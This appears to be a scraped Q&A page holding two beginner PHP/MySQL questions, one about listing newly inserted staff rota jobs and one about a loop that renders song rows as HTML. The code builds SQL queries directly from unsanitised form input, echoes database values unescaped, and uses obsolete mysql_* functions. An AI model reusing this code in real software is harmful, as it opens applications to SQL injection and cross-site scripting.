    - by Gideon
    I'm designing a staff rota planner....have three tables Staff (Staff details), Event (Event details), and Job (JobId, JobDate, EventId (fk), StaffId (fk)). I need to display the last inserted job detail with the staff name. I've been at it for couple of hours and getting nowhere. Thanks for the help in advance. My code is the following: $eventId = $_POST['eventid']; $selectBox = $_POST['selectbox']; $timePeriod = $_POST['time']; $selectedDate = $_POST['date']; $count = count($selectBox); //constructing the staff selection if (empty($selectBox)) { echo "<p>You didn't select any member of staff to be assigned."; echo "<p><input type='button' value='Go Back' onClick='history.go(-1)'>"; } else { echo "<p> You selected ".$count. " staff for this show."; for ($i=0;$i<$count;$i++) { $selectId = $selectBox[$i]; //insert the details into the Job table in the database $insertJob = "INSERT INTO Job (JobDate, TimePeriod, EventId, StaffId) VALUES ('".$selectedDate."', '".$timePeriod."', ".$eventId.", ".$selectId.")"; $exeinsertJob = mysql_query($insertJob) or die (mysql_error()); } } //display the inserted job details $insertedlist = "SELECT Job.JobId, Staff.LastName, Staff.FirstName, Job.JobDate, Job.TimePeriod FROM Staff, Job WHERE Job.StaffId = Staff.StaffId AND Job.EventId = $eventId AND Job.JobDate = ".$selectedDate; $exeinsertlist = mysql_query($insertedlist) or die (mysql_error()); if ($exeinsertlist) { echo "<p><table cellspacing='1' cellpadding='3'>"; echo "<tr><th colspan=5> ".$eventname."</th></tr>"; echo "<tr><th>Job Id</th><th>Last Name</th> <th>First Name </th><th>Date</th><th>Hours</th></tr>"; while ($joblistarray = mysql_fetch_array($exeinsertlist)) { echo "<tr><td align=center>".$joblistarray['JobId']." </td><td align=center>".$joblistarray['LastName']."</td><td align=center>".$joblistarray['FirstName']." </td><td align=center>".$joblistarray['JobDate']." </td><td align=center>".$joblistarray['TimePeriod']."</td></tr>"; } echo "</table>"; echo "<h3><a href=AssignStaff.php>Add More Staff?</a></h3>"; } else { echo "The Job list can not be displayed at this time. Try again."; echo "<p><input type='button' value='Go Back' onClick='history.go(-1)'>"; }

    Read the article

  • How to cleverly stop "while loop" (php)

    - by user3735697
    I'm having trouble with creating code that echoes a bunch of stuff that is corresponding to the mysql database row. It needs to keep creating the content until all rows are used and then stop. But for some reason the php file causes the browser to keep loading (it never ends). Any help would be appreciated! Thanks! <?php mysql_connect ("localhost", "root", "") or die ("We couldn't connect!"); mysql_select_db ("dr"); mysql_query ("SELECT * FROM songs"); $result = mysql_query ("SELECT * FROM songs"); while ($row=mysql_fetch_array($result)) { $name = $row ['songname']; $genres = $row ['songgenres']; $mediafire = $row ['mediafirelink']; $dropbox = $row ['dropboxlink']; $source = $row ['audiosource']; echo " <div class='playing'> <!-- ======== Song Name ======== --> <li class='songnameli' id='$source'> <span class='info'>$name</span> <audio> <source src='music/singles/$source.mp3'> <source src='music/singles/$source.ogg'> </audio> </li> <!-- ======== Playlist ======== --> <li class='playlistli'> <img src='icons/addtoplaylist.png' title='Add tot the playlist!' /> </li> <!-- ======== Genres ======== --> <li class='genresli'> <img src='icons/genres.png' title='Related genres' /> <span class='addedtext genres'>$genres</span> </li> <!-- ======== Social Media links ======== --> <li> <span> <img src='icons/share.png' alt='Share this with your friends!' title='Share this!'> <!-- /// facebook /// --> <a href='http://www.facebook.com/sharer.php?u=http://www.declassified-recordings.com' class='addedtext nlink' target='blank_' onclick='popup (this.href, 800, 500); return false'>Facebook </a> <span>/</span> <!-- /// Twitter /// --> <a href='http://twitter.com/share? text=Thank%20you%20For%20Sharing!%20It%20means%20the%20world%20to%20us!%40Declassifi3d%20 &url=http://www.declassified-recordings.com' class='twitterlink nlink' target='blank_' onclick='popup (this.href, 800, 500); return false'>Twitter</a> </span> </li> <!-- ======== Download links ======== --> <li> <img src='icons/download.png' title='Download!' /> <span> <!-- /// Mediafire /// --> <a href='$mediafire' class='addedtext nlink' target='_blank'>Mediafire</a> <span class='genres'>/</span> <!-- /// Dropbox /// --> <a href='$mediafire' class='twitterlink nlink' target='_blank'>Dropbox</a> </span> </li> </div>"; } mysql_close (); ?>

    Read the article

< Previous Page | 429 430 431 432 433 434 435 436 437 438 439 440  | Next Page >